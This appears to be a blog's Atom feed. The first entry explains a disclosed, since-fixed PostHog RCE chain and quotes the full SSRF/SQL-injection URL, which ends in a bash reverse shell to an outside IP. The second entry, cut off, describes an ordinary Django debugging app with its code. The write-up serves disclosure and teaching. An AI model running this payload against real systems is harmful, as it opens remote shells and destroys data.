<?xml version="1.0" encoding="utf-8"?>
<feed xml:lang="en-us" xmlns="http://www.w3.org/2005/Atom"><title>Simon Willison's Weblog: webhooks</title><link href="http://simonwillison.net/" rel="alternate"/><link href="http://simonwillison.net/tags/webhooks.atom" rel="self"/><id>http://simonwillison.net/</id><updated>2025-12-18T01:42:22+00:00</updated><author><name>Simon Willison</name></author><entry><title>Inside PostHog: How SSRF, a ClickHouse SQL Escaping 0day, and Default PostgreSQL Credentials Formed an RCE Chain</title><link href="https://simonwillison.net/2025/Dec/18/ssrf-clickhouse-postgresql/#atom-tag" rel="alternate"/><published>2025-12-18T01:42:22+00:00</published><updated>2025-12-18T01:42:22+00:00</updated><id>https://simonwillison.net/2025/Dec/18/ssrf-clickhouse-postgresql/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://mdisec.com/inside-posthog-how-ssrf-a-clickhouse-sql-escaping-0day-and-default-postgresql-credentials-formed-an-rce-chain-zdi-25-099-zdi-25-097-zdi-25-096/"&gt;Inside PostHog: How SSRF, a ClickHouse SQL Escaping 0day, and Default PostgreSQL Credentials Formed an RCE Chain&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
Mehmet Ince describes a very elegant chain of attacks against the PostHog analytics platform, combining several different vulnerabilities (now all reported and fixed) to achieve RCE - Remote Code Execution - against an internal PostgreSQL server.&lt;/p&gt;
&lt;p&gt;The way in abuses a webhooks system with non-robust URL validation, setting up a SSRF (Server-Side Request Forgery) attack where the server makes a request against an internal network resource.&lt;/p&gt;
&lt;p&gt;Here's the URL that gets injected:&lt;/p&gt;
&lt;p&gt;&lt;code style="word-break: break-all"&gt;http://clickhouse:8123/?query=SELECT+&lt;em&gt;+FROM+postgresql('db:5432','posthog',\"posthog_use'))+TO+STDOUT;END;DROP+TABLE+IF+EXISTS+cmd_exec;CREATE+TABLE+cmd_exec(cmd_output+text);COPY+cmd_exec+FROM+PROGRAM+$$bash+-c+\\"bash+-i+&amp;gt;%26+/dev/tcp/172.31.221.180/4444+0&amp;gt;%261\\"$$;SELECT+&lt;/em&gt;+FROM+cmd_exec;+--\",'posthog','posthog')#&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Reformatted a little for readability:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://clickhouse:8123/?query=
SELECT *
FROM postgresql(
    'db:5432',
    'posthog',
    "posthog_use')) TO STDOUT;
    END;
    DROP TABLE IF EXISTS cmd_exec;
    CREATE TABLE cmd_exec (
        cmd_output text
    );
    COPY cmd_exec
    FROM PROGRAM $$
        bash -c \"bash -i &amp;gt;&amp;amp; /dev/tcp/172.31.221.180/4444 0&amp;gt;&amp;amp;1\"
    $$;
    SELECT * FROM cmd_exec;
    --",
    'posthog',
    'posthog'
)
#
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This abuses ClickHouse's ability to &lt;a href="https://clickhouse.com/docs/sql-reference/table-functions/postgresql#implementation-details"&gt;run its own queries against PostgreSQL&lt;/a&gt; using the &lt;code&gt;postgresql()&lt;/code&gt; table function, combined with an escaping bug in ClickHouse PostgreSQL function (&lt;a href="https://github.com/ClickHouse/ClickHouse/pull/74144"&gt;since fixed&lt;/a&gt;). Then &lt;em&gt;that&lt;/em&gt; query abuses PostgreSQL's ability to run shell commands via &lt;code&gt;COPY ... FROM PROGRAM&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;bash -c&lt;/code&gt; bit is particularly nasty - it opens a reverse shell such that an attacker with a machine at that IP address listening on port 4444 will receive a connection from the PostgreSQL server that can then be used to execute arbitrary commands.

    &lt;p&gt;&lt;small&gt;&lt;/small&gt;Via &lt;a href="https://news.ycombinator.com/item?id=46305321"&gt;Hacker News&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/postgresql"&gt;postgresql&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/security"&gt;security&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/sql"&gt;sql&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/sql-injection"&gt;sql-injection&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/webhooks"&gt;webhooks&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/clickhouse"&gt;clickhouse&lt;/a&gt;&lt;/p&gt;



</summary><category term="postgresql"/><category term="security"/><category term="sql"/><category term="sql-injection"/><category term="webhooks"/><category term="clickhouse"/></entry><entry><title>django-http-debug, a new Django app mostly written by Claude</title><link href="https://simonwillison.net/2024/Aug/8/django-http-debug/#atom-tag" rel="alternate"/><published>2024-08-08T15:26:27+00:00</published><updated>2024-08-08T15:26:27+00:00</updated><id>https://simonwillison.net/2024/Aug/8/django-http-debug/#atom-tag</id><summary type="html">
    &lt;p&gt;Yesterday I finally developed something I’ve been casually thinking about building for a long time: &lt;strong&gt;&lt;a href="https://github.com/simonw/django-http-debug"&gt;django-http-debug&lt;/a&gt;&lt;/strong&gt;. It’s a reusable Django app - something you can &lt;code&gt;pip install&lt;/code&gt; into any Django project - which provides tools for quickly setting up a URL that returns a canned HTTP response and logs the full details of any incoming request to a database table.&lt;/p&gt;
&lt;p&gt;This is ideal for any time you want to start developing against some external API that sends traffic to your own site - a webhooks provider &lt;a href="https://docs.stripe.com/webhooks"&gt;like Stripe&lt;/a&gt;, or an OAuth or OpenID connect integration (my task yesterday morning).&lt;/p&gt;
&lt;p&gt;You can install it right now in your own Django app: add &lt;code&gt;django-http-debug&lt;/code&gt; to your requirements (or just &lt;code&gt;pip install django-http-debug&lt;/code&gt;), then add the following to your &lt;code&gt;settings.py&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;span class="pl-v"&gt;INSTALLED_APPS&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; [
    &lt;span class="pl-c"&gt;# ...&lt;/span&gt;
    &lt;span class="pl-s"&gt;'django_http_debug'&lt;/span&gt;,
    &lt;span class="pl-c"&gt;# ...&lt;/span&gt;
]

&lt;span class="pl-v"&gt;MIDDLEWARE&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; [
    &lt;span class="pl-c"&gt;# ...&lt;/span&gt;
    &lt;span class="pl-s"&gt;"django_http_debug.middleware.DebugMiddleware"&lt;/span&gt;,
    &lt;span class="pl-c"&gt;# ...&lt;/span&gt;
]&lt;/pre&gt;
&lt;p&gt;You'll need to have the Django Admin app configured as well. The result will be two new models managed by the admin - one for endpoints:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://static.simonwillison.net/static/2024/django-http-debug-add-endpoint-2.jpg" alt="Django admin screenshot: add debug endpoint. Path is set to hello-world, status code is 200, content-type is text/plain; charset=utf-8, headers is {&amp;quot;x-hello&amp;quot;: &amp;quot;world&amp;quot;}, content is Hello world, The is base 64 checkbox is blank and the logging enabled checkbox is checked." style="max-width: 100%;" /&gt;&lt;/p&gt;
&lt;p&gt;And a read-only model for viewing logged requests:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://static.simonwillison.net/static/2024/django-http-debug-logs.jpg" alt="Django admin screenshot showing a list of three logged requests to the hello-world endpoint, all three have a timestamp, method and query string - the method is GET for them all but the query string is blank for one, a=b for another and c=d for a third." style="max-width: 100%;" /&gt;&lt;/p&gt;
&lt;p&gt;It’s possible to disable logging for an endpoint, which means &lt;code&gt;django-http-debug&lt;/code&gt; doubles as a tool for adding things like a &lt;code&gt;robots.txt&lt;/code&gt; to your site without needing to deploy any additional code.&lt;/p&gt;
&lt;h4 id="how-it-works"&gt;How it works&lt;/h4&gt;
&lt;p&gt;The key to how this works is &lt;a href="https://github.com/simonw/django-http-debug/blob/0.2/django_http_debug/middleware.py"&gt;this piece of middleware&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;span class="pl-k"&gt;class&lt;/span&gt; &lt;span class="pl-v"&gt;DebugMiddleware&lt;/span&gt;:
    &lt;span class="pl-k"&gt;def&lt;/span&gt; &lt;span class="pl-en"&gt;__init__&lt;/span&gt;(&lt;span class="pl-s1"&gt;self&lt;/span&gt;, &lt;span class="pl-s1"&gt;get_response&lt;/span&gt;):
        &lt;span class="pl-s1"&gt;self&lt;/span&gt;.&lt;span class="pl-s1"&gt;get_response&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-s1"&gt;get_response&lt;/span&gt;

    &lt;span class="pl-k"&gt;def&lt;/span&gt; &lt;span class="pl-en"&gt;__call__&lt;/span&gt;(&lt;span class="pl-s1"&gt;self&lt;/span&gt;, &lt;span class="pl-s1"&gt;request&lt;/span&gt;):
        &lt;span class="pl-s1"&gt;response&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-s1"&gt;self&lt;/span&gt;.&lt;span class="pl-en"&gt;get_response&lt;/span&gt;(&lt;span class="pl-s1"&gt;request&lt;/span&gt;)
        &lt;span class="pl-k"&gt;if&lt;/span&gt; &lt;span class="pl-s1"&gt;response&lt;/span&gt;.&lt;span class="pl-s1"&gt;status_code&lt;/span&gt; &lt;span class="pl-c1"&gt;==&lt;/span&gt; &lt;span class="pl-c1"&gt;404&lt;/span&gt;:
            &lt;span class="pl-s1"&gt;path&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-s1"&gt;request&lt;/span&gt;.&lt;span class="pl-s1"&gt;path&lt;/span&gt;.&lt;span class="pl-en"&gt;lstrip&lt;/span&gt;(&lt;span class="pl-s"&gt;"/"&lt;/span&gt;)
            &lt;span class="pl-s1"&gt;debug_response&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-en"&gt;debug_view&lt;/span&gt;(&lt;span class="pl-s1"&gt;request&lt;/span&gt;, &lt;span class="pl-s1"&gt;path&lt;/span&gt;)
            &lt;span class="pl-k"&gt;if&lt;/span&gt; &lt;span class="pl-s1"&gt;debug_response&lt;/span&gt;:
                &lt;span class="pl-k"&gt;return&lt;/span&gt; &lt;span class="pl-s1"&gt;debug_response&lt;/span&gt;
        &lt;span class="pl-k"&gt;return&lt;/span&gt; &lt;span class="pl-s1"&gt;response&lt;/span&gt;&lt;/pre&gt;
&lt;p&gt;This dispatches to the default &lt;code&gt;get_response()&lt;/code&gt; function, then intercepts the result and checks if it's a 404. If so, it gives the &lt;code&gt;debug_view()&lt;/code&gt; function an opportunity to respond instead - which might return &lt;code&gt;None&lt;/code&gt;, in which case that original 404 is returned to the client.&lt;/p&gt;
&lt;p&gt;That &lt;code&gt;debug_view()&lt;/code&gt; function &lt;a href="https://github.com/simonw/django-http-debug/blob/0.2/django_http_debug/views.py"&gt;looks like this&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;span class="pl-en"&gt;@&lt;span class="pl-s1"&gt;csrf_exempt&lt;/span&gt;&lt;/span&gt;
&lt;span class="pl-k"&gt;def&lt;/span&gt; &lt;span class="pl-en"&gt;debug_view&lt;/span&gt;(&lt;span class="pl-s1"&gt;request&lt;/span&gt;, &lt;span class="pl-s1"&gt;path&lt;/span&gt;):
    &lt;span class="pl-k"&gt;try&lt;/span&gt;:
        &lt;span class="pl-s1"&gt;endpoint&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-v"&gt;DebugEndpoint&lt;/span&gt;.&lt;span class="pl-s1"&gt;objects&lt;/span&gt;.&lt;span class="pl-en"&gt;get&lt;/span&gt;(&lt;span class="pl-s1"&gt;path&lt;/span&gt;&lt;span class="pl-c1"&gt;=&lt;/span&gt;&lt;span class="pl-s1"&gt;path&lt;/span&gt;)
    &lt;span class="pl-k"&gt;except&lt;/span&gt; &lt;span class="pl-v"&gt;DebugEndpoint&lt;/span&gt;.&lt;span class="pl-v"&gt;DoesNotExist&lt;/span&gt;:
        &lt;span class="pl-k"&gt;return&lt;/span&gt; &lt;span class="pl-c1"&gt;None&lt;/span&gt;  &lt;span class="pl-c"&gt;# Allow normal 404 handling to continue&lt;/span&gt;

    &lt;span class="pl-k"&gt;if&lt;/span&gt; &lt;span class="pl-s1"&gt;endpoint&lt;/span&gt;.&lt;span class="pl-s1"&gt;logging_enabled&lt;/span&gt;:
        &lt;span class="pl-s1"&gt;log_entry&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-v"&gt;RequestLog&lt;/span&gt;(
            &lt;span class="pl-s1"&gt;endpoint&lt;/span&gt;&lt;span class="pl-c1"&gt;=&lt;/span&gt;&lt;span class="pl-s1"&gt;endpoint&lt;/span&gt;,
            &lt;span class="pl-s1"&gt;method&lt;/span&gt;&lt;span class="pl-c1"&gt;=&lt;/span&gt;&lt;span class="pl-s1"&gt;request&lt;/span&gt;.&lt;span class="pl-s1"&gt;method&lt;/span&gt;,
            &lt;span class="pl-s1"&gt;query_string&lt;/span&gt;&lt;span class="pl-c1"&gt;=&lt;/span&gt;&lt;span class="pl-s1"&gt;request&lt;/span&gt;.&lt;span class="pl-v"&gt;META&lt;/span&gt;.&lt;span class="pl-en"&gt;get&lt;/span&gt;(&lt;span class="pl-s"&gt;"QUERY_STRING"&lt;/span&gt;, &lt;span class="pl-s"&gt;""&lt;/span&gt;),
            &lt;span class="pl-s1"&gt;headers&lt;/span&gt;&lt;span class="pl-c1"&gt;=&lt;/span&gt;&lt;span class="pl-en"&gt;dict&lt;/span&gt;(&lt;span class="pl-s1"&gt;request&lt;/span&gt;.&lt;span class="pl-s1"&gt;headers&lt;/span&gt;),
        )
        &lt;span class="pl-s1"&gt;log_entry&lt;/span&gt;.&lt;span class="pl-en"&gt;set_body&lt;/span&gt;(&lt;span class="pl-s1"&gt;request&lt;/span&gt;.&lt;span class="pl-s1"&gt;body&lt;/span&gt;)
        &lt;span class="pl-s1"&gt;log_entry&lt;/span&gt;.&lt;span class="pl-en"&gt;save&lt;/span&gt;()

    &lt;span class="pl-s1"&gt;content&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-s1"&gt;endpoint&lt;/span&gt;.&lt;span class="pl-s1"&gt;content&lt;/span&gt;
    &lt;span class="pl-k"&gt;if&lt;/span&gt; &lt;span class="pl-s1"&gt;endpoint&lt;/span&gt;.&lt;span class="pl-s1"&gt;is_base64&lt;/span&gt;:
        &lt;span class="pl-s1"&gt;content&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-s1"&gt;base64&lt;/span&gt;.&lt;span class="pl-en"&gt;b64decode&lt;/span&gt;(&lt;span class="pl-s1"&gt;content&lt;/span&gt;)

    &lt;span class="pl-s1"&gt;response&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-v"&gt;HttpResponse&lt;/span&gt;(
        &lt;span class="pl-s1"&gt;content&lt;/span&gt;&lt;span class="pl-c1"&gt;=&lt;/span&gt;&lt;span class="pl-s1"&gt;content&lt;/span&gt;,
        &lt;span class="pl-s1"&gt;status&lt;/span&gt;&lt;span class="pl-c1"&gt;=&lt;/span&gt;&lt;span class="pl-s1"&gt;endpoint&lt;/span&gt;.&lt;span class="pl-s1"&gt;status_code&lt;/span&gt;,
        &lt;span class="pl-s1"&gt;content_type&lt;/span&gt;&lt;span class="pl-c1"&gt;=&lt;/span&gt;&lt;span class="pl-s1"&gt;endpoint&lt;/span&gt;.&lt;span class="pl-s1"&gt;content_type&lt;/span&gt;,
    )
    &lt;span class="pl-k"&gt;for&lt;/span&gt; &lt;span class="pl-s1"&gt;key&lt;/span&gt;, &lt;span class="pl-s1"&gt;value&lt;/span&gt; &lt;span class="pl-c1"&gt;in&lt;/span&gt; &lt;span class="pl-s1"&gt;endpoint&lt;/span&gt;.&lt;span class="pl-s1"&gt;headers&lt;/span&gt;.&lt;span class="pl-en"&gt;items&lt;/span&gt;():
        &lt;span class="pl-s1"&gt;response&lt;/span&gt;[&lt;span class="pl-s1"&gt;key&lt;/span&gt;] &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-s1"&gt;value&lt;/span&gt;

    &lt;span class="pl-k"&gt;return&lt;/span&gt; &lt;span class="pl-s1"&gt;response&lt;/span&gt;&lt;/pre&gt;
&lt;p&gt;It checks the database for an endpoint matching the incoming path, then logs the response (if the endpoint has &lt;code&gt;logging_enabled&lt;/code&gt; set) and returns a canned response based on the endpoint configuration.&lt;/p&gt;
&lt;p&gt;Here are the &lt;a href="https://github.com/simonw/django-http-debug/blob/0.2/django_http_debug/models.py"&gt;models&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;span class="pl-k"&gt;from&lt;/span&gt; &lt;span class="pl-s1"&gt;django&lt;/span&gt;.&lt;span class="pl-s1"&gt;db&lt;/span&gt; &lt;span class="pl-k"&gt;import&lt;/span&gt; &lt;span class="pl-s1"&gt;models&lt;/span&gt;
&lt;span class="pl-k"&gt;import&lt;/span&gt; &lt;span class="pl-s1"&gt;base64&lt;/span&gt;


&lt;span class="pl-k"&gt;class&lt;/span&gt; &lt;span class="pl-v"&gt;DebugEndpoint&lt;/span&gt;(&lt;span class="pl-s1"&gt;models&lt;/span&gt;.&lt;span class="pl-v"&gt;Model&lt;/span&gt;):
    &lt;span class="pl-s1"&gt;path&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-s1"&gt;models&lt;/span&gt;.&lt;span class="pl-v"&gt;CharField&lt;/span&gt;(&lt;span class="pl-s1"&gt;max_length&lt;/span&gt;&lt;span class="pl-c1"&gt;=&lt;/span&gt;&lt;span class="pl-c1"&gt;255&lt;/span&gt;, &lt;span class="pl-s1"&gt;unique&lt;/span&gt;&lt;span class="pl-c1"&gt;=&lt;/span&gt;&lt;span class="pl-c1"&gt;True&lt;/span&gt;)
    &lt;span class="pl-s1"&gt;status_code&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-s1"&gt;models&lt;/span&gt;.&lt;span class="pl-v"&gt;IntegerField&lt;/span&gt;(&lt;span class="pl-s1"&gt;default&lt;/span&gt;&lt;span class="pl-c1"&gt;=&lt;/span&gt;&lt;span class="pl-c1"&gt;200&lt;/span&gt;)
    &lt;span class="pl-s1"&gt;content_type&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-s1"&gt;models&lt;/span&gt;.&lt;span class="pl-v"&gt;CharField&lt;/span&gt;(&lt;span class="pl-s1"&gt;max_length&lt;/span&gt;&lt;span class="pl-c1"&gt;=&lt;/span&gt;&lt;span class="pl-c1"&gt;64&lt;/span&gt;, &lt;span class="pl-s1"&gt;default&lt;/span&gt;&lt;span class="pl-c1"&gt;=&lt;/span&gt;&lt;span class="pl-s"&gt;"text/plain; charset=utf-8"&lt;/span&gt;)
    &lt;span class="pl-s1"&gt;headers&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-s1"&gt;models&lt;/span&gt;.&lt;span class="pl-v"&gt;JSONField&lt;/span&gt;(&lt;span class="pl-s1"&gt;default&lt;/span&gt;&lt;span class="pl-c1"&gt;=&lt;/span&gt;&lt;span class="pl-s1"&gt;dict&lt;/span&gt;, &lt;span class="pl-s1"&gt;blank&lt;/span&gt;&lt;span class="pl-c1"&gt;=&lt;/span&gt;&lt;span class="pl-c1"&gt;True&lt;/span&gt;)
    &lt;span class="pl-s1"&gt;content&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-s1"&gt;models&lt;/span&gt;.&lt;span class="pl-v"&gt;TextField&lt;/span&gt;(&lt;span class="pl-s1"&gt;blank&lt;/span&gt;&lt;span class="pl-c1"&gt;=&lt;/span&gt;&lt;span class="pl-c1"&gt;True&lt;/span&gt;)
    &lt;span class="pl-s1"&gt;is_base64&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-s1"&gt;models&lt;/span&gt;.&lt;span class="pl-v"&gt;BooleanField&lt;/span&gt;(&lt;span class="pl-s1"&gt;default&lt;/span&gt;&lt;span class="pl-c1"&gt;=&lt;/span&gt;&lt;span class="pl-c1"&gt;False&lt;/span&gt;)
    &lt;span class="pl-s1"&gt;logging_enabled&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-s1"&gt;models&lt;/span&gt;.&lt;span class="pl-v"&gt;BooleanField&lt;/span&gt;(&lt;span class="pl-s1"&gt;default&lt;/span&gt;&lt;span class="pl-c1"&gt;=&lt;/span&gt;&lt;span class="pl-c1"&gt;True&lt;/span&gt;)

    &lt;span class="pl-k"&gt;def&lt;/span&gt; &lt;span class="pl-en"&gt;__str__&lt;/span&gt;(&lt;span class="pl-s1"&gt;self&lt;/span&gt;):
        &lt;span class="pl-k"&gt;return&lt;/span&gt; &lt;span class="pl-s1"&gt;self&lt;/span&gt;.&lt;span class="pl-s1"&gt;path&lt;/span&gt;

    &lt;span class="pl-k"&gt;def&lt;/span&gt; &lt;span class="pl-en"&gt;get_absolute_url&lt;/span&gt;(&lt;span class="pl-s1"&gt;self&lt;/span&gt;):
        &lt;span class="pl-k"&gt;return&lt;/span&gt; &lt;span class="pl-s"&gt;f"/&lt;span class="pl-s1"&gt;&lt;span class="pl-kos"&gt;{&lt;/span&gt;&lt;span class="pl-s1"&gt;self&lt;/span&gt;.&lt;span class="pl-s1"&gt;path&lt;/span&gt;&lt;span class="pl-kos"&gt;}&lt;/span&gt;&lt;/span&gt;"&lt;/span&gt;


&lt;span class="pl-k"&gt;class&lt;/span&gt; &lt;span class="pl-v"&gt;RequestLog&lt;/span&gt;(&lt;span class="pl-s1"&gt;models&lt;/span&gt;.&lt;span class="pl-v"&gt;Model&lt;/span&gt;):
    &lt;span class="pl-s1"&gt;endpoint&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-s1"&gt;models&lt;/span&gt;.&lt;span class="pl-v"&gt;ForeignKey&lt;/span&gt;(&lt;span class="pl-v"&gt;DebugEndpoint&lt;/span&gt;, &lt;span class="pl-s1"&gt;on_delete&lt;/span&gt;&lt;span class="pl-c1"&gt;=&lt;/span&gt;&lt;span class="pl-s1"&gt;models&lt;/span&gt;.&lt;span class="pl-v"&gt;CASCADE&lt;/span&gt;)
    &lt;span class="pl-s1"&gt;method&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-s1"&gt;models&lt;/span&gt;.&lt;span class="pl-v"&gt;CharField&lt;/span&gt;(&lt;span class="pl-s1"&gt;max_length&lt;/span&gt;&lt;span class="pl-c1"&gt;=&lt;/span&gt;&lt;span class="pl-c1"&gt;10&lt;/span&gt;)
    &lt;span class="pl-s1"&gt;query_string&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-s1"&gt;models&lt;/span&gt;.&lt;span class="pl-v"&gt;CharField&lt;/span&gt;(&lt;span class="pl-s1"&gt;max_length&lt;/span&gt;&lt;span class="pl-c1"&gt;=&lt;/span&gt;&lt;span class="pl-c1"&gt;255&lt;/span&gt;, &lt;span class="pl-s1"&gt;blank&lt;/span&gt;&lt;span class="pl-c1"&gt;=&lt;/span&gt;&lt;span class="pl-c1"&gt;True&lt;/span&gt;)
    &lt;span class="pl-s1"&gt;headers&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-s1"&gt;models&lt;/span&gt;.&lt;span class="pl-v"&gt;JSONField&lt;/span&gt;()
    &lt;span class="pl-s1"&gt;body&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-s1"&gt;models&lt;/span&gt;.&lt;span class="pl-v"&gt;TextField&lt;/span&gt;(&lt;span class="pl-s1"&gt;blank&lt;/span&gt;&lt;span class="pl-c1"&gt;=&lt;/span&gt;&lt;span class="pl-c1"&gt;True&lt;/span&gt;)
    &lt;span class="pl-s1"&gt;is_base64&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-s1"&gt;models&lt;/span&gt;.&lt;span class="pl-v"&gt;BooleanField&lt;/span&gt;(&lt;span class="pl-s1"&gt;default&lt;/span&gt;&lt;span class="pl-c1"&gt;=&lt;/span&gt;&lt;span class="pl-c1"&gt;False&lt;/span&gt;)
    &lt;span class="pl-s1"&gt;timestamp&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-s1"&gt;models&lt;/span&gt;.&lt;span class="pl-v"&gt;DateTimeField&lt;/span&gt;(&lt;span class="pl-s1"&gt;auto_now_add&lt;/span&gt;&lt;span class="pl-c1"&gt;=&lt;/span&gt;&lt;span class="pl-c1"&gt;True&lt;/span&gt;)

    &lt;span class="pl-k"&gt;def&lt;/span&gt; &lt;span class="pl-en"&gt;__str__&lt;/span&gt;(&lt;span class="pl-s1"&gt;self&lt;/span&gt;):
        &lt;span class="pl-k"&gt;return&lt;/span&gt; &lt;span class="pl-s"&gt;f"&lt;span class="pl-s1"&gt;&lt;span class="pl-kos"&gt;{&lt;/span&gt;&lt;span class="pl-s1"&gt;self&lt;/span&gt;.&lt;span class="pl-s1"&gt;method&lt;/span&gt;&lt;span class="pl-kos"&gt;}&lt;/span&gt;&lt;/span&gt; &lt;span class="pl-s1"&gt;&lt;span class="pl-kos"&gt;{&lt;/span&gt;&lt;span class="pl-s1"&gt;self&lt;/span&gt;.&lt;span class="pl-s1"&gt;endpoint&lt;/span&gt;.&lt;span class="pl-s1"&gt;path&lt;/span&gt;&lt;span class="pl-kos"&gt;}&lt;/span&gt;&lt;/span&gt; at &lt;span class="pl-s1"&gt;&lt;span class="pl-kos"&gt;{&lt;/span&gt;&lt;span class="pl-s1"&gt;self&lt;/span&gt;.&lt;span class="pl-s1"&gt;timestamp&lt;/span&gt;&lt;span class="pl-kos"&gt;}&lt;/span&gt;&lt;/span&gt;"&lt;/span&gt;

    &lt;span class="pl-k"&gt;def&lt;/span&gt; &lt;span class="pl-en"&gt;set_body&lt;/span&gt;(&lt;span class="pl-s1"&gt;self&lt;/span&gt;, &lt;span class="pl-s1"&gt;body&lt;/span&gt;):
        &lt;span class="pl-k"&gt;try&lt;/span&gt;:
            &lt;span class="pl-c"&gt;# Try to decode as UTF-8&lt;/span&gt;
            &lt;span class="pl-s1"&gt;self&lt;/span&gt;.&lt;span class="pl-s1"&gt;body&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-s1"&gt;body&lt;/span&gt;.&lt;span class="pl-en"&gt;decode&lt;/span&gt;(&lt;span class="pl-s"&gt;"utf-8"&lt;/span&gt;)
            &lt;span class="pl-s1"&gt;self&lt;/span&gt;.&lt;span class="pl-s1"&gt;is_base64&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-c1"&gt;False&lt;/span&gt;
        &lt;span class="pl-k"&gt;except&lt;/span&gt; &lt;span class="pl-v"&gt;UnicodeDecodeError&lt;/span&gt;:
            &lt;span class="pl-c"&gt;# If that fails, store as base64&lt;/span&gt;
            &lt;span class="pl-s1"&gt;self&lt;/span&gt;.&lt;span class="pl-s1"&gt;body&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-s1"&gt;base64&lt;/span&gt;.&lt;span class="pl-en"&gt;b64encode&lt;/span&gt;(&lt;span class="pl-s1"&gt;body&lt;/span&gt;).&lt;span class="pl-en"&gt;decode&lt;/span&gt;(&lt;span class="pl-s"&gt;"ascii"&lt;/span&gt;)
            &lt;span class="pl-s1"&gt;self&lt;/span&gt;.&lt;span class="pl-s1"&gt;is_base64&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-c1"&gt;True&lt;/span&gt;

    &lt;span class="pl-k"&gt;def&lt;/span&gt; &lt;span class="pl-en"&gt;get_body&lt;/span&gt;(&lt;span class="pl-s1"&gt;self&lt;/span&gt;):
        &lt;span class="pl-k"&gt;if&lt;/span&gt; &lt;span class="pl-s1"&gt;self&lt;/span&gt;.&lt;span class="pl-s1"&gt;is_base64&lt;/span&gt;:
            &lt;span class="pl-k"&gt;return&lt;/span&gt; &lt;span class="pl-s1"&gt;base64&lt;/span&gt;.&lt;span class="pl-en"&gt;b64decode&lt;/span&gt;(&lt;span class="pl-s1"&gt;self&lt;/span&gt;.&lt;span class="pl-s1"&gt;body&lt;/span&gt;.&lt;span class="pl-en"&gt;encode&lt;/span&gt;(&lt;span class="pl-s"&gt;"ascii"&lt;/span&gt;))
        &lt;span class="pl-k"&gt;return&lt;/span&gt; &lt;span class="pl-s1"&gt;self&lt;/span&gt;.&lt;span class="pl-s1"&gt;body&lt;/span&gt;&lt;/pre&gt;
&lt;p&gt;The admin screens are defined in &lt;a href="https://github.com/simonw/django-http-debug/blob/0.2/django_http_debug/admin.py"&gt;admin.py&lt;/a&gt;.&lt;/p&gt;
&lt;h4 id="claude-built-the-first-version-of-this-for-me"&gt;Claude built the first version of this for me&lt;/h4&gt;
&lt;p&gt;This is a classic example of a project that I couldn’t quite justify building without assistance from an LLM. I wanted it to exist, but I didn't want to spend a whole day building it.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://simonwillison.net/2024/Jun/20/claude-35-sonnet/"&gt;Claude 3.5 Sonnet&lt;/a&gt; got me 90% of the way to a working first version. I had to make a few tweaks to how the middleware worked, but having done that I had a working initial prototype within a few minutes of starting the project.&lt;/p&gt;
&lt;p&gt;Here’s the full sequence of prompts I used, each linking to the code that was produced for me (as a Claude artifact):&lt;/p&gt;
&lt;blockquote&gt;
